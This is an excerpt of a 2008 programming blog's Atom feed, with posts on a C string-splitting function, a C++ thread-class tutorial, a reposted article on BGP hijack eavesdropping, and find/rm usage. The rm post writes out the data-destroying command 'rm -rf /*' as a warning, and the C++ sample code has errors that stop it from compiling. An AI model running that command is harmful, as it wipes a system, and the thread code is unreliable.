Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5668003802297747710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5668003802297747710'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/12/skype-on-ubuntu-810-intrepid-ibex.html' title='Skype on Ubuntu 8.10 Intrepid Ibex'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5458313441583972381</id><published>2008-10-02T12:09:00.011+05:30</published><updated>2010-04-28T17:25:26.040+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><title type='text'>Explode function in C</title><content type='html'>Explode function in C. An alternative to the PHP explode() function.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush: c;gutter: false;"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;char **explode(char *string, char separator, int *arraySize)&lt;br /&gt;{&lt;br /&gt;        int start = 0, i, k = 0, count = 2;&lt;br /&gt;        char **strarr;&lt;br /&gt;        for (i = 0; string[i] != '\0'; i++){&lt;br /&gt;                /* Number of elements in the array */&lt;br /&gt;                if (string[i] == separator){&lt;br /&gt;                        count++;&lt;br /&gt;                }&lt;br /&gt;        }&lt;br /&gt;        arraySize[0] = count-1;&lt;br /&gt;        /* count is at least 2 to make room for the entire string&lt;br /&gt;         * and the ending NULL */&lt;br /&gt;        strarr = calloc(count, sizeof(char*));&lt;br /&gt;        i = 0;&lt;br /&gt;        while (*string != '\0') {&lt;br /&gt;                if (*string == separator) {&lt;br /&gt;                        strarr[i] = calloc(k - start + 2,sizeof(char));&lt;br /&gt;                        strncpy(strarr[i], string - k + start, k - start);&lt;br /&gt;                        strarr[i][k - start + 1] = '\0'; /* ensure null termination */&lt;br /&gt;                        start = k;&lt;br /&gt;                        start++;&lt;br /&gt;                        i++;&lt;br /&gt;                }&lt;br /&gt;                string++;&lt;br /&gt;                k++;&lt;br /&gt;        }&lt;br /&gt;        /* copy the last part of the string after the last separator */&lt;br /&gt;        strarr[i] = calloc(k - start + 1,sizeof(char));&lt;br /&gt;        strncpy(strarr[i], string - k + start, k - start);&lt;br /&gt;        strarr[++i] = NULL;&lt;br /&gt;&lt;br /&gt;        return strarr;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5458313441583972381?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5458313441583972381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5458313441583972381&amp;isPopup=true' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5458313441583972381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5458313441583972381'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/10/explode-function-in-c.html' title='Explode function in C'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-5983824452249622653</id><published>2008-09-04T16:25:00.001+05:30</published><updated>2008-09-04T16:25:44.541+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>Google chrome crashes</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Finally managed to crash Google chrome. Type :% in the address bar. :-)&lt;br/&gt;&lt;br/&gt;&lt;img alt='' src='file:///C:/DOCUME%7E1/Arun/LOCALS%7E1/Temp/moz-screenshot-1.jpg'/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-5983824452249622653?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/5983824452249622653/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=5983824452249622653&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5983824452249622653'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/5983824452249622653'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/09/google-chrome-crashes.html' title='Google chrome crashes'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-6170317825375352978</id><published>2008-08-27T09:25:00.003+05:30</published><updated>2008-08-28T08:35:45.289+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>The Internet's Biggest Security Hole Revealed</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Two security researchers have demonstrated a new technique to stealthily intercept internet traffic on a scale previously presumed to be unavailable to anyone outside of intelligence agencies like the National Security Agency. &lt;br /&gt;&lt;br /&gt;The tactic exploits the internet routing protocol BGP (Border Gateway Protocol) to let an attacker surreptitiously monitor unencrypted internet traffic anywhere in the world, and even modify it before it reaches its destination.&lt;br /&gt;&lt;br /&gt;The demonstration is only the latest attack to highlight fundamental security weaknesses in some of the internet's core protocols. Those protocols were largely developed in the 1970s with the assumption that every node on the then-nascent network would be trustworthy.  The world was reminded of the quaintness of that assumption in July, when researcher &lt;a href="http://blog.wired.com/27bstroke6/2008/07/details-of-dns.html"&gt;Dan Kaminsky disclosed&lt;/a&gt; a serious vulnerability in the DNS system. Experts say the new demonstration targets a potentially larger weakness.&lt;br /&gt;&lt;br /&gt;"It's a huge issue. It's at least as big an issue as the DNS issue, if not bigger," said Peiter "Mudge" Zatko, noted computer security expert and former member of the L0pht hacking group, who testified to Congress in 1998 that he could bring down the internet in 30 minutes using a similar BGP attack, and disclosed privately to government agents how BGP could also be exploited to eavesdrop. "I went around screaming my head about this about ten or twelve years ago.... We described this to intelligence agencies and to the National Security Council, in detail."&lt;br /&gt;&lt;br /&gt;The man-in-the-middle attack exploits BGP to fool routers into re-directing data to an eavesdropper's network.&lt;br /&gt;&lt;br /&gt;Anyone with a BGP router (ISPs, large corporations or &lt;a href="http://www.fubra.com/blog/2007/10/mac-mini-bgp-routers-part-2.html"&gt;anyone with space at a carrier hotel&lt;/a&gt;) could intercept data headed to a target IP address or group of addresses. The attack intercepts only traffic headed &lt;i&gt;to&lt;/i&gt; target addresses, not from them, and it can't always vacuum in traffic within a network -- say, from one AT&amp;amp;T customer to another.&lt;br /&gt;&lt;br /&gt;The method conceivably could be used for corporate espionage, nation-state spying or even by intelligence agencies looking to mine internet data without needing the cooperation of ISPs.&lt;br /&gt;BGP eavesdropping has long been a theoretical weakness, but no one is known to have publicly demonstrated it until Anton "Tony" Kapela, data center and network director at &lt;a href="http://www.5ninesdata.com/"&gt;5Nines Data&lt;/a&gt;, and Alex Pilosov, CEO of &lt;a href="http://www.pilosoft.com/"&gt;Pilosoft&lt;/a&gt;, showed their technique at the recent DefCon hacker conference. The pair successfully intercepted traffic bound for the conference network and redirected it to a system they controlled in New York before routing it back to DefCon in Las Vegas.&lt;br /&gt;&lt;br /&gt;The technique, devised by Pilosov, doesn't exploit a bug or flaw in BGP. It simply exploits the natural way BGP works.&lt;br /&gt;&lt;br /&gt;"We're not doing anything out of the ordinary," Kapela told Wired.com. "There's no vulnerabilities, no protocol errors, there are no software problems. The problem arises (from) the level of interconnectivity that's needed to maintain this mess, to keep it all working."&lt;br /&gt;The issue exists because BGP's architecture is based on trust. To make it easy, say, for e-mail from Sprint customers in California to reach Telefonica customers in Spain, networks for these companies and others communicate through BGP routers to indicate when they're the quickest, most efficient route for the data to reach its destination. But BGP assumes that when a router says it's the best path, it's telling the truth. That gullibility makes it easy for eavesdroppers to fool routers into sending them traffic.&lt;br /&gt;&lt;br /&gt;Here's how it works. When a user types a website name into his browser or clicks "send" to launch an e-mail, a Domain Name System server produces an IP address for the destination. A router belonging to the user's ISP then consults a BGP table for the best route. That table is built from announcements, or "advertisements," issued by ISPs and other networks -- also known as Autonomous Systems, or ASes -- declaring the range of IP addresses, or IP prefixes, to which they'll deliver traffic.&lt;br /&gt;&lt;br /&gt;The routing table searches for the destination IP address among those prefixes. If two ASes deliver to the address, the one with the more specific prefix "wins" the traffic. For example, one AS may advertise that it delivers to a group of 90,000 IP addresses, while another delivers to a subset of 24,000 of those addresses. If the destination IP address falls within both announcements, BGP will send data to the narrower, more specific one.&lt;br /&gt;&lt;br /&gt;To intercept data, an eavesdropper would advertise a range of IP addresses he wished to target that was narrower than the chunk advertised by other networks. The advertisement would take just minutes to propagate worldwide, before data headed to those addresses would begin arriving to his network.&lt;br /&gt;The attack is called an IP hijack and, on its face, isn't new.&lt;br /&gt;&lt;br /&gt;But in the past, known IP hijacks have created outages, which, because they were so obvious, were quickly noticed and fixed. That's what occurred earlier this year when &lt;a href="http://news.bbc.co.uk/1/hi/technology/7262071.stm"&gt;Pakistan Telecom inadvertently&lt;/a&gt; hijacked YouTube traffic from around the world. The traffic hit a dead-end in Pakistan, so it was apparent to everyone trying to visit YouTube that something was amiss.&lt;br /&gt;&lt;br /&gt;Pilosov's innovation is to forward the intercepted data silently to the actual destination, so that no outage occurs.&lt;br /&gt;&lt;br /&gt;Ordinarily, this shouldn't work -- the data would boomerang back to the eavesdropper. But Pilosov and Kapela use a method called AS path prepending that causes a select number of BGP routers to reject their deceptive advertisement. They then use these ASes to forward the stolen data to its rightful recipients.&lt;br /&gt;"Everyone ... has assumed until now that you have to break something for a hijack to be useful," Kapela said. "But what we showed here is that you don't have to break anything. And if nothing breaks, who notices?"&lt;br /&gt;Stephen Kent, chief scientist for information security at BBN Technologies, who has been working on solutions to fix the issue, said he demonstrated a similar BGP interception privately for the Departments of Defense and Homeland Security a few years ago.&lt;br /&gt;&lt;br /&gt;Kapela said network engineers might notice an interception if they knew how to read BGP routing tables, but it would take expertise to interpret the data.&lt;br /&gt;&lt;br /&gt;A handful of &lt;a href="http://www.routeviews.org/"&gt;academic groups&lt;/a&gt; collect &lt;a href="http://bgpmon.netsec.colostate.edu/index.html"&gt;BGP routing information&lt;/a&gt; from cooperating ASes to monitor BGP updates that change traffic's path. But without context, it can be difficult to distinguish a legitimate change from a malicious hijacking. There are reasons traffic that ordinarily travels one path could suddenly switch to another -- say, if companies with separate ASes merged, or if a natural disaster put one network out of commission and another AS adopted its traffic. On good days, routing paths can remain fairly static. But "when the internet has a bad hair day," Kent said, "the rate of (BGP path) updates goes up by a factor of 200 to 400."&lt;br /&gt;&lt;br /&gt;Kapela said eavesdropping could be thwarted if ISPs aggressively filtered to allow only authorized peers to draw traffic from their routers, and only for specific IP prefixes. But filtering is labor intensive, and if just one ISP declines to participate, it "breaks it for the rest of us," he said.&lt;br /&gt;&lt;br /&gt;"Providers can prevent our attack absolutely 100 percent," Kapela said. "They simply don't because it takes work, and to do sufficient filtering to prevent these kinds of attacks on a global scale is cost prohibitive."&lt;br /&gt;Filtering also requires ISPs to disclose the address space for all their customers, which is not information they want to hand competitors.&lt;br /&gt;&lt;br /&gt;Filtering isn't the only solution, though. Kent and others are devising processes to authenticate ownership of IP blocks, and validate the advertisements that ASes send to routers so they don't just send traffic to whoever requests it.&lt;br /&gt;&lt;br /&gt;Under the scheme, the five regional internet address registries would issue signed certificates to ISPs attesting to their address space and AS numbers. The ASes would then sign an authorization to initiate routes for their address space, which would be stored with the certificates in a repository accessible to all ISPs. If an AS advertised a new route for an IP prefix, it would be easy to verify if it had the right to do so.&lt;br /&gt;&lt;br /&gt;The solution would authenticate only the first hop in a route to prevent unintentional hijacks, like Pakistan Telecom's, but wouldn't stop an eavesdropper from hijacking the second or third hop.&lt;br /&gt;&lt;br /&gt;For this, Kent and BBN colleagues developed Secure BGP (SBGP), which would require BGP routers to digitally sign with a private key any prefix advertisement they propagated. An ISP would give peer routers certificates authorizing them to route its traffic; each peer on a route would sign a route advertisement and forward it to the next authorized hop. The drawback is that current routers lack the memory and processing power to generate and validate signatures. And router vendors have resisted upgrading them because their clients, ISPs, haven't demanded it, due to the cost and man hours involved in swapping out routers.&lt;br /&gt;&lt;br /&gt;"That means that nobody could put themselves into the chain, into the path, unless they had been authorized to do so by the preceding AS router in the path," Kent said.&lt;br /&gt;&lt;br /&gt;Douglas Maughan, cybersecurity research program manager for the DHS's Science and Technology Directorate, has helped fund research at BBN and elsewhere to resolve the BGP issue. But he's had little luck convincing ISPs and router vendors to take steps to secure BGP.&lt;br /&gt;&lt;br /&gt;"We haven't seen the attacks, and so a lot of times people don't start working on things and trying to fix them until they get attacked," Maughan said. "(But) the YouTube (case) is the perfect example of an attack where somebody could have done much worse than what they did."&lt;br /&gt;&lt;br /&gt;ISPs, he said, have been holding their breath, "hoping that people don’t discover (this) and exploit it."&lt;br /&gt;"The only thing that can force them (to fix BGP) is if their customers ... start to demand security solutions," Maughan said.&lt;br /&gt;&lt;a href="http://blog.wired.com/27bstroke6/2008/08/revealed-the-in.html"&gt;[via]&lt;/a&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-6170317825375352978?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/6170317825375352978/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=6170317825375352978&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6170317825375352978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/6170317825375352978'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/08/internet-biggest-security-hole-revealed.html' title='The Internet&amp;#39;s Biggest Security Hole Revealed'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-3564100945516214335</id><published>2008-08-22T21:11:00.001+05:30</published><updated>2008-08-22T21:11:32.693+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hack'/><title type='text'>RedHat and Fedora Servers compromised</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Its hard to believe. But, yes, RedHat and Fedora servers have been compromised. Paul W. Frields has sent a mail which confirms this.&lt;br/&gt;&lt;br/&gt;https://www.redhat.com/archives/fedora-announce-list/2008-August/msg00012.html&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-3564100945516214335?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/3564100945516214335/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=3564100945516214335&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3564100945516214335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/3564100945516214335'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/08/redhat-and-fedora-servers-compromised.html' title='RedHat and Fedora Servers compromised'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-7579147952871366717</id><published>2008-08-12T19:36:00.000+05:30</published><updated>2008-08-12T19:38:18.470+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Windows BSOD Hits Beijing Opening Ceremony</title><content type='html'>&lt;a href="http://www.techeblog.com/elephant/gallery-150356-photos.phtml"&gt;&lt;img src="http://media.techeblog.com/elephant//ul/18277-450x-bsodo_1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.techeblog.com/elephant/gallery-150356-photos.phtml"&gt;&lt;img src="http://media.techeblog.com/elephant//ul/18278-450x-bsodo_2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.techeblog.com/elephant/gallery-150356-photos.phtml"&gt;&lt;img src="http://media.techeblog.com/elephant//ul/18279-450x-bsodo_3.jpg" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-7579147952871366717?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/7579147952871366717/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=7579147952871366717&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7579147952871366717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/7579147952871366717'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/08/windows-bsod-hits-beijing-opening.html' title='Windows BSOD Hits Beijing Opening Ceremony'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-9187561546771556495</id><published>2008-07-28T19:46:00.002+05:30</published><updated>2010-03-27T13:54:29.523+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Threads'/><category scheme='http://www.blogger.com/atom/ns#' term='C++'/><title type='text'>Designing a Thread Class in C++</title><content type='html'>&lt;h3 style="color: rgb(255, 102, 0);"&gt;Introduction&lt;/h3&gt;&lt;br /&gt;Multi threaded programming is becoming ever more popular. This section  presents a design for a C++ class that will encapsulate the threading mechanism. Certain aspects of thread programming, like mutexes and semaphores  are not discussed here. Also, operating system calls to manipulate threads are  shown in a generic form.&lt;br /&gt;&lt;h3 style="color: rgb(255, 102, 0);"&gt;Brief Introduction To Threads&lt;/h3&gt;&lt;br /&gt;To understand threads one must think of several programs running at once. Imagine further  that all these programs have access to the same set of global variables and function calls.   Each of these programs would represent a thread of execution and is thus called a thread.   The important differentiation is that each thread does not have to wait  for any other thread to proceed. All the threads proceed  simultaneously. To use a metaphor, they are like runners  in a race, no runner waits for another runner. They all proceed at their own rate.&lt;br /&gt;&lt;br /&gt;Why use threads you might ask. Well threads can often improve the performance of an application and they do not incur  significant overhead to implement. They effectively give  good bang for a buck. Imagine an image server program that must service requests for images.   The program gets a request for an image from another program. It must  then retrieve the image from a database and send it to the program that requested it. If the server were implemented in a single threaded  approach, only one program could request at a time. When it was busy  retrieving an image and sending it to a requestor, it could not  service other requests. Of course one could still implement such a system without using threads. It would be a challenge though. Using threads, one can very naturally design a system to handle multiple requests. A simple approach would be to create a thread for each request received. The main  thread would create this thread upon receipt of a request. The thread would then be responsible for the conversation with the client program from that point on. After retrieving the image, the thread would  terminate itself. This would provide a smooth system  that would continue to service requests even though it was busy servicing other requests at the same time.&lt;br /&gt;&lt;h3 style="color: rgb(255, 102, 0);"&gt;Basic Approach&lt;/h3&gt;&lt;br /&gt;The create a thread, you must specify a function that will become the entry  point for the thread. At the operating system level, this is a normal function. We have to do a few tricks to wrap a C++ class around it  because the entry function cannot be a normal member function  of a class. However, it can be a static member function of a class. This is  what we will use as the entry point. There is a gotcha here though. Static member functions do not have access to the this pointer of  a C++ object. They can only access static data. Fortunately,  there is way to do it. Thread entry point functions take a void *  as a parameter so that the caller can typecast any data and pass in to  the thread. We will use this to pass this to the static function. The static  function will then typecast the void * and use it to call a non  static member function.&lt;br /&gt;&lt;h3 style="color: rgb(255, 102, 0);"&gt;Implementation&lt;/h3&gt;&lt;br /&gt;It should be mentioned that we are going to discuss a thread class with  limited functionality. It is possible to do more with threads than this class will allow.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:cpp"&gt;class Thread&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;    public:&amp;lt;br /&amp;gt;       Thread();&amp;lt;br /&amp;gt;       int Start(void * arg);&amp;lt;br /&amp;gt;    protected:&amp;lt;br /&amp;gt;       int Run(void * arg);&amp;lt;br /&amp;gt;       static void * EntryPoint(void*);&amp;lt;br /&amp;gt;       virtual void Setup();&amp;lt;br /&amp;gt;       virtual void Execute(void*);&amp;lt;br /&amp;gt;       void * Arg() const {return Arg_;}&amp;lt;br /&amp;gt;       void Arg(void* a){Arg_ = a;}&amp;lt;br /&amp;gt;    private:&amp;lt;br /&amp;gt;       THREADID ThreadId_;&amp;lt;br /&amp;gt;       void * Arg_;&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; };&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; Thread::Thread() {}&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; int Thread::Start(void * arg)&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;    Arg(arg); // store user data&amp;lt;br /&amp;gt;    int code = thread_create(Thread::EntryPoint, this, &amp;amp; ThreadId_);&amp;lt;br /&amp;gt;    return code;&amp;lt;br /&amp;gt; }&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; int Thread::Run(void * arg)&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;    Setup();&amp;lt;br /&amp;gt;    Execute( arg );&amp;lt;br /&amp;gt; }&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; /*static */&amp;lt;br /&amp;gt; void * Thread::EntryPoint(void * pthis)&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;    Thread * pt = (Thread*)pthis;&amp;lt;br /&amp;gt;    pthis-&amp;gt;Run( Arg() );&amp;lt;br /&amp;gt; }&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; virtual void Thread::Setup()&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;         // Do any setup here&amp;lt;br /&amp;gt; }&amp;lt;br /&amp;gt; &amp;lt;br /&amp;gt; virtual void Thread::Execute(void* arg)&amp;lt;br /&amp;gt; {&amp;lt;br /&amp;gt;         // Your code goes here&amp;lt;br /&amp;gt; }&amp;lt;br /&amp;gt; &lt;/pre&gt;&lt;br /&gt;It is important to understand that we are wrapping a C++ object  around a thread. Each object will provide an interface to a single thread. The thread and the object are not the same.   The object can exist without a thread. In this implementation, the thread does not actually exist until the Start function is called.&lt;br /&gt;Notice that we store the user argument in the class. This is necessary because we need a place to store it temporarily until the thread is started. The operating system thread call allows us to pass an argument but we have used it to pass the this pointer. So we store the real user argument in the class itself and when the execute function is called it can get access to the argument.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;Thread();  &lt;/span&gt;- &lt;/b&gt; This is the constructor.&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;int Start(void * arg);  &lt;/span&gt;- &lt;/b&gt; This function provides the means to create the thread and start it going. The argument arg provides a way for user data to be passed into the thread. Start() creates the thread by calling the operating system thread creation function.&lt;br /&gt;&lt;b style="color: rgb(255, 102, 0);"&gt;int Run(void * arg); &lt;/b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  &lt;/span&gt;- This is a protected function that should never be tampered with.&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;static void * EntryPoint(void * pthis);  &lt;/span&gt;- &lt;/b&gt; This function serves as the entry point to the thread. It simply casts pthis to Thread * and&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;virtual void Setup();&lt;/span&gt; &lt;/b&gt;  - This function is called after the thread has been created but before Execute() is called. If you override this function, remember to call the parent class Execute().&lt;br /&gt;&lt;b&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;virtual void Execute(void *);&lt;/span&gt;  - &lt;/b&gt; You must override this function to provide your own functionality.&lt;br /&gt;&lt;h3 style="color: rgb(255, 102, 0);"&gt;Using The Thread Class&lt;/h3&gt;&lt;br /&gt;To use the thread class, you derive a new class. you override the Execute() function where you provide your own functionality. You may override the Setup() function to do any start up  duties before Execute is called. If you override Setup(), remember to call the parent class Setup().&lt;br /&gt;&lt;h3 style="color: rgb(255, 102, 0);"&gt;Conclusion&lt;/h3&gt;&lt;br /&gt;This section presented an implementation of a thread class written in C++.  Of course it is a simple approach but it provides a sound foundation upon which to build a more robust design.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-9187561546771556495?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/9187561546771556495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=9187561546771556495&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/9187561546771556495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/9187561546771556495'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2008/07/designing-thread-class-in-c.html' title='Designing a Thread Class in C++'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-1569024703238303674</id><published>2008-07-28T13:51:00.003+05:30</published><updated>2010-03-27T13:56:30.367+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>rm -rf</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;I see some guys visiting my blog for rm -rf reference. I will write a short note on the usage of rm&lt;br /&gt;&lt;br /&gt;Never, ever run this command: &lt;span style="color:#ffcc33;"&gt;rm -rf /*&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Combining with find:&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java:nogutter"&gt;[arun@om]$ find . -name "*.T" -exec grep -H "Hello" {} \;&lt;br /&gt;./1.T:Hello&lt;br /&gt;./Name/a.T: Hello Buddy;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;To find and delete all the files under the current directory, having extension .T&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:java:nogutter"&gt;[arun@om]$ find . -name "*.T" -exec rm {} \;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This is essentially, the power of &lt;span style="color:#ffcc33;"&gt;find &lt;/span&gt;to fork &lt;span style="color:#ffcc33;"&gt;rm&lt;/span&gt; process.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-1569024703238303674?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/1569024703238303674/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=1569024703238303674&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/1569024703238303674'/><link rel='self' type='application/atom+xml' 